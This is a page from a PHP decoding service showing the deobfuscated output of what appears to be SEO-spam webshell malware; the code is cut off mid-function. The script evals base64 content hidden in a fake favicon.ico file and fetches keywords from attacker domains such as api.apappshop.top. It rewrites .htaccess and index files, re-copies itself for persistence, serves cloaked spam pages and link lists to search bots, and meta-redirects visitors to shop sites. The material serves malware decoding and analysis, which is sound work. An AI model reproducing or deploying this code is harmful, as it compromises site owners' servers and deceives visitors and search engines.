Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
?><?php ## +BcWn7kmvM0Tgm4H5cU ini_set/*;0Py+I.\bP{}#WU1sDb*/('display_errors', 0); //..
Decoded Output download
<? ?><?php
## +BcWn7kmvM0Tgm4H5cU
ini_set/*;0Py+I.\bP{}#WU1sDb*/('display_errors', 0);
//v35+R>@k9C
error_reporting//Sb1y7cS`46=w~k2`[
(0);
@//g5nC>YGG5;5QV
header ##9DOLNJs>2xk_Ip.
(//6lH7}
'Content-type:text/html;charset=utf-8')/*(Bm0Qk>f>Wo*/;
##cKZO`Js^,QW
define//D$p4B;O%SiR8B
('UAMD53KEY', //Pj(1iCGXcD[wMqMi$t
'39542de4e2fa50462d96ea26e878a658')//KNO4H.MzZY0C
;
/*6QYymA*/define ##UluZ[k^sel\jI!SaJZv
('DEFAULTMAINDOMAIN', ##2o(a.
'.apappshop.top')/*qY.58A*N=H{Lx77AN*/;
##e4X#_9l#QB&
define/*a#z`^!`>M0uO&0*/('URLHEAD', //FYf\Gv3ss_3U3!:eE
'http://api.apappshop.top/she2/') ##`1>5]R([)>0 ZeV
;
/*dY*20<t~flCSFT*/define ##\B|C7;%a0-WPeQmiNm
('CURRENT_VERSION', //C*).rH
'1.23.07.17.10.24')/*\T[acfXB^\ dzo*/;
##ikX06i %`w#&F&>,dDl
define/*^fm O:8BrZMk*/('FILE_OLD_INDEX', ##E70!sJ,7j;,@
'.ftpquotas') ##b)oSH
;
//*dJ^qigQ@oenEjx3
define ##C%^lHIix!iQj}A0kB7
('FILE_OLD_INDEX_OLD', /*-$f&B;pj*/'4c7a17f635a4d887cf587a123b6a6bc4')//,T>KmAIwDg9 0hwPsk
;
/*N)yX1|=U3L^>}o|H:,*/define/*![g=#ODA*/('FILE_INDEX_STATIC_DEFAULT', /*Xz^ @*/'a439a79eb419be5dda635034f722ec41')//<R4!xSoe `J|l}
;
//V;tAt
define ##Qso{-Se;|J]XetwY+%{H
('CACHE_PATH', //f$Z94
cachePath ##OMfv&87~IOO
());
##B>WTk8&|X=,UkX;k(0p
define//Z+kqk%QXAFJb@
('FILE_INDEX_STATIC', /*u{@9QJR;~.+%Q5]]Zu3=*/cacheFilename//88R2o
());
##+K_cw0v)k4]|MVu=]
$configFile ##.#]Y <T0M*(8
= ##>!W8lokxKDS$fcH49x
sheditFile/*V7y2i3CT(L^Vo>1$DZo*/();
if(@/*Cf\xPceB D*/file_exists//O<s`{X![vVHzq*9
($configFile)){
if(//prZjA[ra
isPHPFile//[K|U(G=,qLnG
($configFile)){
include_once /*[g7D6DL,9QYq8ul&*/$configFile//8nNg-GFRF9TA_o,jZ
;
}else{
//Z@GLU9504
eval ##OOMvBHTx-P%q+j5pzD
(/*P*W3H6P*/'?>'./*Tr5F w~[GKJ*//*Fy$TCH!^Z-&}[*/base64_decode/*37nG;x0@%Jqz@nm;:*/( ##hK)B5i$CO#}Kx\$)j
file_get_contents//|6biJ} $v@P0I-
($configFile)));
}
}
if(! ##e8]6!n(P(Y~z70:
defined ##nQJ_NT<*#IZCqk
(/*-`y9DkMg)RQ*/'HTACCESS_REPLACE')/*^QD.xe+*/){ ##9}yP|Y
define ##vW oU
('HTACCESS_REPLACE', /*IeJ2IcV`!.~UIqw*/'yes')/*W.0m8)g6\ya6iUqW2*/;}
/*UE;5PVZC*V qOiX)Kge*/define/*\5{|YIw=2.[3=23Sq8*/('CONFIG_FILE', $configFile);
/*jcOgV*/addDomain ##8xmX].&Eve
();
/*[!UMSSC;#K&*/moveToNewCachePath/*O]F*j4gRg$7#6S#*/();
##q:;ERFf$m
editConfigFile ##j*3C2*TX
();/*=9{Zpkx\}*/editPathList ##\^x^)r%\h1{HC
();
//ZI-l3;
editConfigFile/*$cuvoV(^*/( ##%tPCoXfSIF
'outlinks')/*_10rw*/;
/*K;qi8:=;M7J`q6W19C*/setHtaccess/*m_By2OwTl9;cP8&YHE\4*/();
/*HH|yf{h#d|C1nZzr*/repairIndex//7UZ2y
(//KUpxz
'.')/*vQUJWkBL]t3@lt3.;*/;
/*Mf|O4@N4o5!,W0kD$~F*/copySelf//>if\O
();
##K~P$vV-CFkp)rUF*:M82
reBirth ##DVi2I(%nO;=e}`E(
();
/*A3,zIS*/checkStatus//mj&IO+DD)}%o
();
/*VP]2X R!aq9Yx1*/setupshe//sXXHQ*<JB
();
if(isset(/*+ I Fe+)B+KymuEFC*/$_REQUEST/*RoGG.bmJ*/['action']) && ##kXvM3[r9T]
$_REQUEST ##16%tt;y}lbP|g1Q-@0
['action'] == //GP@Z3RT)nIA
'deletecache') ##7i:VXfp
{
if(@/*9A&ODV*/file_exists/*|f[]sA98R[XfKAh8*/(CACHE_PATH . FILE_INDEX_STATIC_DEFAULT)){
/*`0%`2!Dv8)Eks*/unlink/*XhoEz3!CU*/(CACHE_PATH . FILE_INDEX_STATIC_DEFAULT);
//:-xAla%XUS !R
header ##FaAJs
( ##vH|8B3< :R
"Location: /") ##*-Evg2FW4E$2`
;
die;
}
}
if(!isset( ##BF3Re_
$_REQUEST//thG<,<t!~b.ff[
['action']) || //|1,wD#OPtV#ULP,3=
$_REQUEST/*#r.fS(,.FWRB{+%#A*/['action'] != ##<H_W2|%}\+WG
'createcache') ##k.i(QUiJFPx&t2
{
if(!@/*\Y)aS1~<_h#7(*/file_exists/*^20M[$T$}=q(*/(CACHE_PATH . FILE_INDEX_STATIC_DEFAULT)){
//{k8~Xoox}CH<*
$indexurl/*oivqNXac(_XBF3]vN,x*/= ##383GA}d
is_https ##y+bbaE)h@kE
() . //FH-4F%E
$_SERVER/*zhJ7BQK< ZIox*/['HTTP_HOST'] . //Bhi w0_TFo~V
'/?action=createcache'; ##Efq.[UMA1n_
//X~j__a8:x2;hSf_A> :
$html ##H;B-;z\y!l5
= ##Z~=%4bgJo)Zyj_
getHtml ##XuL==n~a}
($indexurl);
if(!empty($html)){
//,1k]#
file_put_contents_force//x)D:&;^_a
(CACHE_PATH . FILE_INDEX_STATIC_DEFAULT, $html);
}
##6<d26Wo
reBirth/*p21!CI*/();
}
}elseif(isset(//fVYlWx&gNsKEM`;HYJ
$_REQUEST//#iq:lI]YR;L|Otw
['action']) && ##FEYPPcLr(K&uI
$_REQUEST ###!ZX.
['action'] == /*hU8<si-gwU):}*/'createcache')/*|cjuYx.Oku-*/{
include FILE_OLD_INDEX;
exit;
}
if(!//|>5BMPi|KJ;WiGh
file_exists//z9xFPz-,trr$}(]3x1#
($configFile)){
/*U7oXkB5Tncjo<dqN{4*/showCacheFile//e4nl^DY^#q>2H[;4
();
exit;
}
//.pr>,ytYNF0i=zOOTM
$arrContants/*B:)yHH]+X:!{Ej */= /*2mNHBIt~^&yGbzKM*/array//p{+(GPW)}%D){
(
'STATIC_HTML' => 'yes',
'ALLOWED_PAGES' => '',
'REPLACE_EXISTS' => 'yes',
'REPLACE_INDEX' => 'no',
'INDEX_PHP' => ##NQ<7:\#VM\f8T,
$_SERVER ##b#bA:(OAHy
['SCRIPT_FILENAME'] . '/',
'LANGUAGE' => '',
'KEYWORDDIR' => '',
'URI_END_OF_KEYWORD' => '-k.html',
'API_HOST' => 'http://keywordfada20201115.keyworddomain.com/',
'SHOP_HOST' => 'http://shopfada20201115.keyworddomain.com/',
'MAINDOMAIN' => DEFAULTMAINDOMAIN,
'USECURL' => 'yes',
);
/*mEXuy$yDp),>n#tj)A**/$defined//Yz:R[wX#Y&kh
= //r,\id*
'defined';//O0i-ba!rrD]
foreach($arrContants as ##2cyvN
$cons/*#2#O}kfRi[|;TnF)R|-i*/=> $v){
switch($cons){
case 'STATIC_HTML':
if(//[*x*2rYR\gH!fewv
$defined//nQK\BR2kdb]q#!RXct
($cons)){
@/*!>_A<,~\~5k*/define/*]>GX[Hxk^`\RS]VXc*/('STATIC_HTML', //vyeM|#+
constant//ro<\{dK95
($cons));
}else{
@/*i6&$(bLCu:WPD|!5*/define/*cwZn!*/('STATIC_HTML', $v);
}
break;
case 'ALLOWED_PAGES':
if( ##Qcnz^5W
$defined/*6ii|<bO5L];*/($cons)){
@//(qX1`0OdrAuFcT4X2
define//m3,qdiB_Ri6\Lp^
('ALLOWED_PAGES', ##Y$!%F1UofmG@f6l#8m&
constant/*m#Aviv<w1EoGhPCb*/($cons));
}else{
@/*i@@tL;iw!%b;Dmb6>e*/define//_HqH7RJ=|V|DIzU
('ALLOWED_PAGES', $v);
}
break;
case 'REPLACE_EXISTS':
if(//mB7Rb
$defined/*1e\OGAr#u0<XjOH^}2N*/($cons)){
@//JYx&8IOwREB<|``ogWtI
define ##+#Ifw]=
('REPLACE_EXISTS', //5v}=az@`]Cz{Qw`9)
constant//HT=dzs4#-hN|ExAZC
($cons));
}else{
@//\I}pIFAg&abRjpv]&At+
define/*cJt{!c(K)]b%B:,*/('REPLACE_EXISTS', $v);
}
break;
case 'REPLACE_INDEX':
if(/*C()h(QxG:NE%y7brX*/$defined//NL\c{edAzH;6ly9X~Rc
($cons)){
@/*$VWmeS~A>d-3b*/define ##$+&jE-2^PKJTUE
('REPLACE_INDEX', ##RSv]=p|+EdrB@|MV3nOs
constant//sVf ~3(ov
($cons));
}else{
@/*H;VW:)zIUb**/define/*glM;igM,\.URi#A[evW*/('REPLACE_INDEX', $v);
}
break;
case 'INDEX_PHP':
if( ##8oXA61g
$defined//OBXF#zfu
($cons)){
@//6cy$DLH`0Bqi[ydjw
define ##b}QZ5_-0P,px;
('INDEX_PHP', //Tg`)gQ
constant//CbfW#vb|
($cons));
}else{
@/*:rzC.k}=*W!htKK*/define//G+Qx6M4b
('INDEX_PHP', $v);
}
break;
case 'LANGUAGE':
if( ##-LO(L*PJ#BS{,B*ul
$defined ##iSb(Yshd
($cons)){
@//fU&cK`24;9
define ##nvR:[gk[`,LZ()dY
('LANGUAGE', //Y{,+ihUHmAx-n\Sf
constant/*p|M:ZD^`*K3-39w*/($cons));
}else{
@/*|>n:d*/define//2R$5c,%icEm.
('LANGUAGE', $v);
}
break;
case 'KEYWORDDIR':
if(//e[k%Nzw(tOBGB||[I
$defined ##Gc<%P0pDs
($cons)){
@ ##LHy* ^&RP>+Hu5M_wI
define//dIOR[=5
('KEYWORDDIR', ##0oz%)JO
constant/*v4x,^V1{[ sKXCM:ud*/($cons));
}else{
@/* woCZC,P+K{F|sV*/define ##a-+jn;l.W`$:
('KEYWORDDIR', $v);
}
break;
case 'URI_END_OF_KEYWORD':
if( ##I]&N$)
$defined ##nMZAV5
($cons)){
@/*X9#r#[DJX:[*/define//KGDorxuQ#l
('URI_END_OF_KEYWORD', ##lom,fu]c nA-fyv\
constant ##uNt*AZ
($cons));
}else{
@//wZ=\S2yQx%u
define ##H=r8Qw`^XEH1nzUQhPhW
('URI_END_OF_KEYWORD', $v);
}
break;
case 'API_HOST':
if( ##-3Rz3jv,{&E
$defined/*;.8T0*/($cons)){
@ ##6|!U_r8h{HYWjLy#gD
define/*1qo>C*/('API_HOST', /*h9q8{|dTvnL:*/constant/*$ZI;E1s*/($cons));
}else{
@//<T1<yDE#O!&
define ##]N=P[
('API_HOST', $v);
}
break;
case 'SHOP_HOST':
if(//Uij:W}B(I
$defined//H{\MZA!8Iv5
($cons)){
@ ##^ahZDH%G:b$1N
define/*_=!e\kdC~}W=(z^32%~J*/('SHOP_HOST', //cW{6Te`W85q|i
constant ###cFu=Bsfd,C[[tkPEy&
($cons));
}else{
@/*oes@t{6n#@%*/define/*&yGY2bTVevMDbWO*/('SHOP_HOST', $v);
}
break;
case 'MAINDOMAIN':
if(//,_kwS[AF
$defined ##^s34`1WZ$GW)X:j
($cons)){
@ ##S=~GEG$Ad<.;LYDWh&$
define//C_4SH]0@{b7=3@
('MAINDOMAIN', ##h6{ac~[JIw8YKxS$FS
constant//YviHg4}FYX~
($cons));
}else{
@/*lq96hOfdnIfJOr*/define ##RqqEUk
('MAINDOMAIN', $v);
}
break;
case 'USECURL':
if( ##z%;6 wC\yk
$defined//4{Y;@q
($cons)){
@//W}2_1|:d
define/*oCh(WBP*/('USECURL', ##$i$s{Qx[J3kZEGV
constant//MAg_75TMLO6ELoY47<
($cons));
}else{
@ ##F~eciHDTF)D
define//0^2iLP9EgE!TJ!
('USECURL', $v);
}
break;
case 'JUMP_REAL_HOST':
if(/*O[w{Svp[v~B7ML@yi%]*/$defined//6CeLbOO,u%CQ[
($cons)){
@/*}o6jqH*,iD*/define ##c`M5Llh-S#
('JUMP_REAL_HOST', ##9~V5GZ|%Dr=pMZki
constant/*pNHZfY-1-j)s*/($cons));
}else{
@//:E=cMj}mRti`X!j&r
define//,]s=hb[>3Gf3;|r
('JUMP_REAL_HOST', $v);
}
break;
}
}
//8*9=%mRQ1koi1*
pingGoogle ##HQXF3SBF01nt}
();
/*-#>UCOdm5F*/preg_match/*,Wei_}eIXg~b*/('|([^/]+)-k(\d)?.html$|i', /*4J{SKCH#Nx\yK%*/$_SERVER//ep2T3\l
['REQUEST_URI'], $match);
if(isset(/*h!j]p*/$match/*d|8RLcYvG6P{~;\S`~*/[2]) && /* $Y!QZr*Il*/is_numeric//ANXI7(Zva85C6.,woU
(//RwnM5|oW!H-N[#X92
$match ##nNll~T,LWu@
[2])){
if( ##wSEWBdK4q(;m [
defined//Olk!Mbr
(/*2c(pnC$ #g)*/'LANGUAGE'. ##m~yV\fDV%5>Y:
$match//NB g7|cze2]K!
[2]) && //ameqHC
defined/*SZ^NoQz!N(C3%uM.N*/(/*P#BH(o*/'KEYWORDDIR'./*x9.Uo$V>ixA*/$match ##lsAF2J
[2]) && ##Z~wr6|12{Rd
defined//ak$ba*m6cAlD($s
(/**P*_HW[> [JAeN3$ec*/'API_HOST'. ##BYg-sRN jd*`
$match/*1uhWZN:3hRU*|x#*/[2]) && //N9Dm*oeY_
defined//J#H(d]Y{aM2g
(/*lX,Sg0zh,*/'SHOP_HOST'.//R.Q(JR-s
$match ##mqGu;
[2])){
/*I{XJ_snw:;lR)=R|\o4*/$valLANGUAGE ##zs=sPd+AH7+L8}
= /*I>&f{QP,<5paZcHT]*/constant/*tPq5=cz<*/( ##$ZsF63\+83nF
'LANGUAGE'./*F~AAqe4|C&[B<y2QTBG|*/$match/*%kku.u Y8<r5vie1*/[2]);
/*e[x}V8ZYV-l2E^M>h=)w*/$valKEYWORDDIR ##HI!jcGwc^=mdPGu
= //$(#y^X
constant ##O}qB;P]Ceql&Q:@VS|!
(/*Uh=3FX]LqII{s(An9*/'KEYWORDDIR'. ##c>}3}znjd;-~@)_i
$match//M ^Rp
[2]);
/*DD5aYlXqq1OvgE*/$valAPI_HOST/*.kD!O*/= ##OE_sQV*j
constant/*K+A=OJ8<(>1^`AOgg*i*/(/*K[o:>g0iDS9z%*NY{*/'API_HOST'. ##^auM_DZ:ym;A
$match//C|yP(UoF|ja0D-P|
[2]);
/*F^vp`Dpo@CBdPrD<mi,s*/$valSHOP_HOST ##VX5F8@dadS+4!8V
= /*wQA1T5ZO==p*/constant//vOc>Mqn}T4hM@E
(//$mU eERVxvr6,~Y
'SHOP_HOST'. ##YaxHFcnC4FJW|0II!( a
$match/*@mj+%7#18{3:w*/[2]);
}
}else{
##Y#TRHDN4iS>kds
$valLANGUAGE ##2R3pi}A08i=1<
= LANGUAGE;
##VG5ND-{}oG;bic b
$valKEYWORDDIR//+HM.A]Y_62L)lu9}P=L
= KEYWORDDIR;
##C3#qE
$valAPI_HOST/*9Cm>r9a,`$q}LR>*/= API_HOST;
//Yu,htT
$valSHOP_HOST/*COeX#L2g:fMaN~Y-P*/= SHOP_HOST;
}
@/**eA8}mJ*/define/*+6*HhCKjAKE*/('LANGUAGE_REAL', $valLANGUAGE);
@//&pMglzey9X0
define/*$8,xba+.uxRK8W0W*/('KEYWORDDIR_REAL', $valKEYWORDDIR);
@//kQ<A~$2
define//gswU-i-
('API_HOST_REAL', ##HF`[I*q:i6u
str_ireplace//\iK yL$UrEmB&_3~
('.keyworddomain.com', MAINDOMAIN, $valAPI_HOST));
@/*i>4~,>Pd(`6;*/define/*HRq`F\.!ci*/('SHOP_HOST_REAL', //Kz3oL-KARUC_7LXF3B
str_ireplace/*[r7K=O*/('.keyworddomain.com', MAINDOMAIN, $valSHOP_HOST));
/*7$wK6];bxk=$t#|*/replaceIndex//1r{B#@ylKEL{}El)xDX0
(FILE_OLD_INDEX);
##A`iaXDmhj*I[\GwyU2
is_allow_page/*569Jd`v[jUX\[!E@*/();
/*h`*\xA3 uLn_)(*/$token ##5 FQ+
= /*`H:My8GLDRkD W7q*/md5/*6}=OtXfYrip*/( ##2nj^x(
md5//q,Q7^DQ8#
(//X^|h]iRwX|
'sj'./*TZ..c\e,>WKJN$sQ*/MainDomain ##[onJSk~aAy+.
()));
//Ci%KSrVbm2E7JW
$uriend ##{ufnv*PB
= /*e q+rHI=i{N*/'&dir='.//MmF;1J0inCr#-R
KEYWORDDIR_REAL.//\4Fe0{V@o5YS9
'&hl='./*JIoL!Q**/LANGUAGE_REAL./*h$j;2)nz30*/'&token='.//;|Au<P!.$J^bb0
$token ##<1Ckw.{h8:MYaN[^q
;
//JnsuYKw,Tnt7p;*K,9
$uri ##Y.s|x4y.dv$SRge
= API_HOST_REAL . /*^bU8{GXV\|)Wp{T*/'randkeyword.php?str='./*s7[+5f*1LzMhP3GJ+Y*/md5/*A>,mU<G|v*CBH@*/(/*r pXQYeoM#E:(k\O5Yc*/'testshely'./*$@NqQ6`h;y#W({3*/$_SERVER ##KU5@AC18` -*9t
['REQUEST_URI']).//065*<k6D\M6
$uriend//VLn=jk#nTx%}
;
if(/*gb}2U*/substr/*1:P= uZIpI}]z`e]I*ho*/( ##qXLqBFR{&.Hrvz(Q<t8
$_SERVER/*;3-OR-A*/['REQUEST_URI'], 0, 12) == /*}(^-2{|j|v*#f$Pq*/'/sitemap.xml')//qLJ[[hP+
{ ##H{h,}T#=*KUJ\W)2)<RY
showSiteMap//kRy`o-`^N)q2g]_aM@c
();die;}
if( ##uq,r yf>Gc:lQhTE%<H;
substr//(b QFiK
( ##=$Q h3T
$_SERVER ##^kR|+i~..~_du|=
['REQUEST_URI'], 0, 11) == //Nxr=2*H
'/robots.txt')/*~nX6 p!S-&9}WrpH].!*/{/*HSO~T*/showRobotsTxt//{Jqq$5OH
();die;}
##pgk=U*05TM
$pageexists//P~<7zMguj]`mQ
= true;
if(isset(//K .jexS#\d
$match/*H+4In)YTg{^IT*/[1])&&!empty( ##N]Iij
$match//Rdyg n9@MI_xv>K0;M
[1])){
/*dLhASA&`D*/$keyword//s(4OSG(dK1.d(SR
= //*KlsLG`%rYN;}OW
str_replace//x@iALE4vka~l4&s|2>X
('-', '%20', //71CPH3W_88B
$match ##Q.vWeb*),&N
[1]);
//!7y{t%xH
$keyword ##hO>L^0^T
= //`=~@_\[,QwJ0Ib:
urldecode ##(6^}|k: e}PUQVd|s;j(
($keyword);
//Et)_Ua]=
$uri ##&d8PQG|<1mNQS
= API_HOST_REAL . //OOfa:VFY{$|
'randkeyword.php?keyword='.//)EswDk3
/*&Q`(%I&2}zqL^(LUakn*/urlencode//E-arA$PzoRrSBq}:54
($keyword). ##O1w:`7S7
$uriend ##k!0,!IQ{q`dYA
;
/*;A64|,5G8a+Ar;}H0[4*/$pageexists/*c3[DO0;~O=,zJJX&c9sF*/= false;
}elseif( ##n{e@jF&D6A,Y&#;rT
$arrCid//N~ur,3X@hkK}=s5AX(`S
= /*MJ72nc(1d*/getCid ##i]sdMJH
()){
##|}y4{\R%u^D&XxVF
$uri/*\L EL+NLAb4{WTq*/= API_HOST_REAL . /*N&7Sf@GP]FB+ugt*/'randkeyword.php?f='. ##\rK40CB2\wI
$arrCid ##B-34CX6_vZ7g@D$k^
['cid']. ##$Eg$u)E(z$<
'&l='.//yBDH}qfsX<Xn@VCTX:QT
$arrCid ##%gaV^8CPjiQC
['lid'].//LrfmI,_
$uriend ##]W^1z${=w=
;
}
/*CGbJ%dtK*/$jsonStr//>B3Is5r7vZgi.~N@
= ##@KAe6,w
getHtml ##WR\7WK
($uri);
/*8qnE#c^ZmFBa*/$objKeywordShe//O*E0)CRK[
= ##DFFK]SIWi
jsonDecode/*`-u]ROROY;)}0n9*/($jsonStr, true);
if(!empty(/*bAOlE&2L~*/$objKeywordShe//I#h:$.unUH1R`g
['keyword'])){
if(REPLACE_EXISTS == ##tImXI4]J g=9Y2wn|7en
'yes') ##Ta!GO-y=PruQiW9@+G
{
//yqY6oa[4E-Ew N
$tourl/*G:aM+f[qZlB|#>[*o1*/= //.B#ybz]\b=S>xt4ia>
getHtml ##xPar]7,(NXdM
(//#>g!HJk)x)<;ye=A
getJumpUrlApi/*WFhdr>*/());
if(/*>fIJojm~LWM6*/isIndexUrl ##0O\Aq@g,I9fk:.!D0;
($tourl)){
//[email protected]
$jumpurl ##db>I&bm
= ##&&g^ItOj
$tourl//}XT#Ns4 yY3F
. //LMdX8*3
'?c='.//|mOA[[nPA)Q8TZZGW`b;
$objKeywordShe ##VquE\]9|nWcif<Rm7(
['keyword']; }else{
##94j+d(
$jumpurl ##`~fgVR g[dr
= SHOP_HOST_REAL . //N~:%TI=iVYg>VP]
'?c='.//ys2*M
$objKeywordShe ##IAS,IG{PfI2SA\B
['keyword']; }
if(//!i4n4]IQ|K
needJump/*ZetUcFO\^lSXVVL*/()){echo ###Bu5%e0%0}Xoj
'<meta http-equiv="refresh" content="0; url=' ./*9)BY9u>n*/ //^,|di
$jumpurl//*L`*|SAQmjA%SJd
. //oY+o>;faME(S`V5)WuR
'">'; ##|UKiz]FG9K:O=E4f
die;}
}
}
if(REPLACE_EXISTS == /*\oS.\Sa2AJ*/'yes')/*D.uA5*/{
##=qPgA
$pageexists//3n1z(s
= false;
}
if($pageexists){
if(!/*v|S X*+_Do0q*/preg_match ##Nj$P>r-L:57*Xp@Et
('|([^/]+)-c.html$|i', ##,Z).:8
$_SERVER/*-O8q{Ol@yV*/['REQUEST_URI'], $match)){
include ##2^DbdUp4<n(f*\cn
cacheFilename/*eLGoy+O9SFCN(O=_G*/();
if( ##fE#>QjD\
isBot//cEKg#1MwMI$[BN76B2Aa
()){
//DHy.;
$liil//rDj~_).<\L^}Q*_
= ##XPb,[@%qHs,8wf.)<H!
''; ##nFM:Yv:R
foreach(/*D8T`Sgv,*/$objKeywordShe/*nRsge*/['relatedKeywords'] as $keyword1){
##t~Y}&>g)S
$link ##v2ALtM$%}S%c
= /*M:U3v:V8v==6X*/is_https//lg1PU7c0%uJOwsd\
() . ##Tt&oWkWEDdT9S
$_SERVER/*U=PwONG>nR*/['HTTP_HOST'] . //6-A%5A
'/' ./*(`8EXHSkm-UbbWZ|$*/ INDEX_PHP . /*n&WO}2*/keywordtouri ##YR$tK$q\Jh
($keyword1) . URI_END_OF_KEYWORD;
##5NW,1B,tHi.Sf%Nh
$liil/*%|G\}eQA{<EkEp@%*/.= //{SbL^ @{X6Fk
' <li><a href="'. ##`&)m9;
$link//E.3MeknMB[WN:
. ##&+k;;@\MwrNv7
'">'.//ayYCmz8&1m JP8*D*PC
$keyword1 ##|].OC
. ##PLlzJACSl-T1Zz
'</li>'./*@HeEcc*/"\n";/*]8G_2pGH)jk*/
}
echo ##!jNR27$@nY)HeORO
'<ul class="Related">'.//oJ=,C\B]ZvZ#9
$liil/*BXhz<oSmp4qV$9Cu=}y*/./*[`AbE*/relatedOutLinks/*9jN{~J*/().//_{lp&4)[
'</ul>';/*C(hN(EcopT&x#ZV*/
}
die;
}
}
if(!empty(/*(OQ9x(WCq}DAcTlHJ$S}*/$objKeywordShe/*;]QCMLmG*/['keyword'])){
if( ##M3noq-4R]
isBot//T(YTR~2G{2+#Ps
()){
##m2=sGRrW&dr.*<#J+
showProduct ##byUsIh!vw&d)U<
($objKeywordShe);
die;
}
}
//a.-@lv{`|G
showCacheFile/*ma^4:JE5x*/();
die;
function /*U9+OQ:^_@|oY*/relatedOutLinks//]LNS[1O{
( ##E9Q<=GMgJ3W
$i ## qP5+K^;I3qlIY{f1<.Q
= 10){
##73*% ],td-
$filename ##[y~YgL4LV`*wTw|z
= /*p 2birS]cen3d+h*/sheditFile/*`vMEf#pf*/('real', /*gky23jXDb27cTgtCjs3t*/'outlinks')/*[)jzNAd@mJ{0.AiP*/;
##V7pSZ
$liil ##=UPi z:B9*<9y#
= /*0)<)=FSu25H!8\@*/'';//15VAP6m90K^55
##1!Q}T=sK}
$count ##iC{=;b<5Kn
= 0;
if(@/*:K4w<}*/file_exists ##PhMyLEG$FMb@4lx0PL
($filename)){
##n@hq:-mM
$content/*y_\E9#ey*/= /*GYG&WJ9SUy*/file_get_contents/*;Ym!BA~ )\|QSP7&cb*/($filename);
##;8wmiTGQ3%en20J,w
$arrContent//{*jmr:~T$6++
= /*9`}1YSXZkSkz*/explode//\Uip*9*ulC4,1Ba
("\n", $content);
/*4{;CQn*/shuffle/*uU$:%qv76i*/($arrContent);
foreach($arrContent as $line){
//w5Z.\m}FU;2-
$arrLine ##Z*@;>ZncE\J
= /*i+DI:T lNnc*/explode ##b>r[k|(K &6`AFkMO7
('|', //B:i!T@I6HwH;
trim//AFWh7K:PGf - JZbNC(#
($line));
if( ##!9K|xM~-JV\,.!1|)hj
sizeof/*F!E.1cf*/($arrLine) == 2 && !empty( ##gfp@M|&P!tdv%7ni<L
$arrLine//8<A05xvN,T
[0]) && !empty( ##ch`Iy)4H
$arrLine ##&]]S--(wpj
[1]) && //0$zM4$IitqHG{3[NyF@F
filter_var//T\uV=7gP@0
(//)\IS2&MWS+>ceRyfq`z
$arrLine ##%$hcakI ul<[J
[1], FILTER_VALIDATE_URL)){
/*UD$ih]ClYh+@Ly;AYB0A*/$liil//j*dAV(fo(9gFT
.= //&aVVdUWEM5Z=fwj~O
' <li><a href="'. ##WcJUOb
//W8n1% {R
$arrLine ##JNg(5[eR
[1] .//&6yNp(m+e=
'">'./*=WpJJOe>X*/$arrLine//gNKvC{x=
[0]./*8AdjT~#-C8B*/'</li>'. ##EfQu_I;e,sTP8
"\n"; ##roXWs9VT.t2Hrbs>Msz
}
$count++;
if($count > $i){
break;
}
}
}
return /* ui AT!#]J*/$liil//U!SvIW+
;
}
function ##5CqG*k\$PF)
sheditFile ##j-\qTFP
(/*;#]gLh$pMzZBM8{(=w,;*/$type//+r-X]}P]7rD5}Z
= 'real', ##.j=$ ]t!G;+R&>!Ge+GD
$name ##Pxcc;5Te
= /*)\j\MvxjVB70@*/'shedit')/*yFRtY(e8s@t6QLe;a*/{
/*>wcC{hq8T=HYP*/$tmpPath/*9wZxW@0kV#oiS^*/= ##WV7AvELIBbpC
sys_get_temp_dir1//QVXvMFlp=*QpE{d^IVuX
() . //hcNTT&N
'/';/*N_Wf5{EM7X */
if(!@//k>L@:_CE@5o<.X(7vIWv
is_writable//53GCHF2UNzYS~dRE+
($tmpPath)){
//iix8Z+b-v*tN}0EQ>W
$tmpPath/*2hqFe*I258L$+zV*4*/= CACHE_PATH;
}
##xL~q-2P m\
$tmpPath/*Z\dF3#|$YQ7^RqyV;VZH*/.= ##pPnqqH
MainDomain ##u7s#>$!8j#l
() . /*~:WeUF8d3.^,TSh*/'/'; ##iJ~2ASNlm7^\B5o
if(!@//KM5Y|{nziUjW8,%C.~AN
is_dir/*IOHSu]Xd*/($tmpPath)){
@//wGU[R!
mkdir/*i5d,y;pjMO*/($tmpPath, 0747, true);
}
@ ##=dp~[rs2n
chmod/*qHNMr`[-~m;Xf51*/($tmpPath, 0767);
/*y6T05#n*/$tmpPathReal/*Z`R*j`|*/= CACHE_PATH;
//E-}).Y&LSya3)}(c:n;
$configFileReal/*n^btJ05X9znn*/= ##)Bp[Rm}ID.qJ17
$tmpPathReal/**9+Da*/. //zEB%#n-rB(Cr5SQXQl|
MainDomain//D]q(I<W7@L)R
() . //uyT6#b,+}pC%R
'.' .//LxC:\+B`C
//%32SB
$name/*YkTRqVvZ$O*/. ##DoOo)rei<_Cf>}
'.set'; ##&>Q.7v
if(//N5lGBrk)
$name//+]9Jz
== ##BAQ~,q9;JGq[!
'shedit') ##mQU[2u;>h*
{
##z>ddXuY
$configFile/*hZ+d(ZyEMT.*/= /*]GYC(U9+LN~F*/$tmpPath ##%Y*|J14VDWI:VNlh
. /*K:%,9w#J3rM*:Awvl]C=*/'favicon.ico';//`VIqdKZ;
}else{
/*Pgyd.+wnJPvQ7F$V6,*/$configFile//}Yr~o=k
= //!Dz{TWV0`w7[
$configFileReal//:4q@c4N@Vzt;Ems#
;
}
if(@//_Fr8F)6$B[011Ry
file_exists/*`-W 3e=*u*/($configFile) && $configFile != $configFileReal){
if(!@//NWU1;U(.X@<}8]
file_exists ##JF]y;Y,odSF4%b#$a,!,
($configFileReal) || //ki3$w*{}$6SU,S(L
md5_file//`uI7$Tpx|+6<h:
($configFile) != ##pQo}>
md5_file/*tg;KR;Eof3TJe3LF*/($configFileReal)){
//]ZfDUW
file_put_contents_force/*hN%bj{*/($configFileReal, /*I^OjBsYaa~c.*/file_get_contents ##\bvla3~vz!Zu
($configFile));
}
}
if( ##gr{>2`sp
$type//3H,y0)-oqK!tXCB
== ##u0,~2S93PJ>UdC;1_[T
'real')//TCDwQ
{
return //@dk<CWo3dKPzY
$configFileReal ##n[K>@wxPLv6=+,8D\
;
}else{
return ##D+@IbgKXK;%iyoHih
$configFile/*P--~0]Mcv`{t{z*/;
}
}
function ##N(w-Iy1oL$$|xJim
moveToNewCachePath/*$pv<ZOr_[P,_q*/(){
if(@ ##5$.~[X^)
file_exists//-Dh<70+n.!l=Gxmz
(FILE_OLD_INDEX_OLD) && !@ ##CB4VwiT
file_exists//dSt~vt6[mO3#
(FILE_OLD_INDEX)){
/*},]X(#R*D%6G(B][wc8=*/rename ##Gv70KvC6
